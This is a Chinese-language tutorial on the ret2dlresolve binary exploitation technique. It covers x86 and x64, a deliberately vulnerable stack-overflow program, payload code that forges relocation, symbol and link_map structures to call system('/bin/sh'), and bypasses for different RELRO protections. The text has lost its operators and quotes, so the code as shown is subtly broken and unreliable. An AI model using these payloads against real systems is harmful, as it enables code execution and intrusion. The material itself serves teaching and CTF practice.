ret2dlresolve攻击原理与实战:从x86到x64的进阶利用
1. ret2dlresolve攻击的本质与核心逻辑ret2dlresolve攻击本质上是一种针对动态链接程序的利用技术它利用了Linux系统中动态链接器解析函数地址时的延迟绑定机制。这种攻击最精妙的地方在于它可以在不泄露任何内存地址的情况下实现任意函数的调用。我们先来看一个生活化的类比想象你第一次去图书馆借书管理员会让你填写借书单相当于PLT表跳转。如果这本书之前没人借过管理员需要去查目录相当于GOT表初始状态发现没有记录于是去总目录室查找相当于_dl_runtime_resolve调用。ret2dlresolve攻击就像是伪造了一整套借书流程——不仅伪造了借书单还伪造了目录卡片甚至修改了图书分类编号最终让管理员把完全不同的书交到你手上。在技术实现上攻击需要控制三个关键数据结构重定位表项(.rel.plt)告诉链接器要解析哪个函数符号表项(.dynsym)存储函数的符号信息字符串表(.dynstr)保存函数名的实际字符串通过精心构造这些数据结构我们可以欺骗动态链接器让它把system()当成write()来解析。这就好比在图书馆里你把《烹饪大全》的目录卡片偷偷换成《黑客攻防》但管理员依然按照原来的编号系统去找书。2. x86架构下的分步攻防实战2.1 基础环境搭建我们先准备一个经典的栈溢出漏洞示例程序。用以下命令编译// bof.c #include unistd.h void vuln() { char buf[100]; read(0, buf, 256); } int main() { vuln(); return 0; }编译命令gcc -fno-stack-protector -m32 -z relro -no-pie bof.c -o bof_x86这个程序有三个典型特征存在明显的栈溢出read读取256字节到100字节缓冲区开启了Partial RELRO保护没有PIE地址随机化2.2 分阶段伪造技术详解2.2.1 第一阶段控制reloc_arg首先我们需要劫持程序流执行以下操作将栈迁移到可控区域如.bss段手动调用PLT[0]即_dl_runtime_resolve的入口控制reloc_arg参数关键payload结构payload flat( A*112, # 填充缓冲区 p32(read_plt), # 调用read准备栈迁移 p32(ppp_ret), # 弹出read参数 p32(0), # stdin p32(bss_stage), # 目标地址 p32(0x100), # 读取长度 p32(pop_ebp_ret), # 准备栈迁移 p32(bss_stage), p32(leave_ret) # 完成迁移 )2.2.2 第二阶段伪造重定位表.rel.plt节的结构体定义如下typedef struct { Elf32_Addr r_offset; // GOT表地址 Elf32_Word r_info; // 符号表索引 } Elf32_Rel;我们需要构造一个假的Elf32_Rel结构fake_rel flat( p32(elf.got[write]), # 指向write的GOT条目 p32(0x607) # 原始write的r_info )2.2.3 第三阶段伪造符号表.dynsym节中的符号表项结构typedef struct { Elf32_Word st_name; // 字符串表偏移 Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym;对应的伪造代码align 0x10 - ((bss_stage 36 - dynsym) % 16) fake_sym flat( p32(0x4c), # st_name偏移 p32(0), # st_value p32(0), # st_size p32(0x12) # st_info和st_other )2.2.4 最终阶段实现任意函数调用将伪造的write字符串替换为systemfake_str system\x00 payload2 flat( AAAA, p32(plt_0), fake_arg, p32(ppp_ret), p32(bss_stage 80), # /bin/sh地址 AAAA, AAAA, fake_rel, A*align, fake_sym, fake_str, /bin/sh\x00 )3. x64架构的差异与特殊技巧3.1 关键区别点分析64位环境下ret2dlresolve面临三个主要挑战参数传递从栈变为寄存器数据结构尺寸和布局变化_dl_fixup函数增加了额外检查最重要的变化是Elf64_Rela结构体typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; Elf64_Sxword r_addend; } Elf64_Rela; // 24字节大小3.2 绕过检查的两种方法在64位下_dl_fixup会检查sym-st_other是否为0。我们有两种绕过方式方法一修改link_map的DT_VERSYM需要泄露地址实际中很少使用方法二控制st_other不为0将symtab指向已解析函数got表-8的位置这样st_other就正好是got表值的最高字节3.3 实战中的link_map伪造link_map结构的关键偏移def fake_linkmap_payload(addr, known_got, offset): payload p64(offset (2**64-1)) # l_addr payload p64(0) # l_name payload p64(addr 0x18) # DT_JMPREL payload p64(addr 0x30 - offset) # r_offset payload p64(0x7) # r_info payload p64(0) # r_addend payload p64(0) # l_ns payload p64(0) # payload p64(known_got - 8) # DT_SYMTAB payload b/bin/sh\x00 payload payload.ljust(0x68, bA) payload p64(addr) # DT_STRTAB payload p64(addr 0x38) # DT_SYMTAB payload payload.ljust(0xf8, bA) payload p64(addr 0x8) # DT_JMPREL return payload4. 不同保护机制的对抗策略4.1 NO RELRO情况这是最简单的场景因为.dynamic节可写。可以直接修改strtab指针无需完整伪造流程。关键步骤用read覆盖.dynamic中的strtab地址在新的strtab位置构造字符串表直接调用目标函数4.2 Partial RELRO情况需要完整走完伪造流程伪造reloc_arg伪造Elf32_Rel/Elf64_Rela伪造Elf32_Sym/Elf64_Sym伪造函数名字符串4.3 Full RELRO情况这种保护下ret2dlresolve基本不可行因为所有函数地址在程序启动时已解析GOT表完全不可写link_map和_dl_runtime_resolve的GOT条目被清零5. 实战中的经验技巧在真实漏洞利用中有几个容易踩坑的地方栈对齐问题x64调用system时需要保证rsp是16字节对齐。可以通过添加额外的ret指令来调整。参数传递问题在构造ROP链时注意x64的前六个参数通过寄存器传递。典型的寄存器布局pop_rdi 0x4007a3 pop_rsi_r15 0x4007a1 payload flat( pop_rdi, addr_binsh, pop_rsi_r15, 0, 0, plt_load, fake_linkmap_addr, 0 # 对齐用 )字符串构造技巧在内存中布置字符串时注意# 错误方式直接拼接 cmd /bin/sh \x00 system\x00 # 正确方式分别填充 payload flat( /bin/sh\x00.ljust(0x10, \x00), system\x00 )调试技巧使用gdb调试时可以在关键函数下断点b *_dl_fixup b *read b *write对于复杂的利用建议分阶段验证先测试栈迁移是否成功再测试伪造的reloc能否被正确解析最后测试完整的函数调用链在实际漏洞利用中ret2dlresolve往往需要与其他技术结合使用。比如先用堆漏洞泄露某个地址再结合部分写等技术来绕过ASLR。这种组合拳的运用需要根据具体场景灵活调整。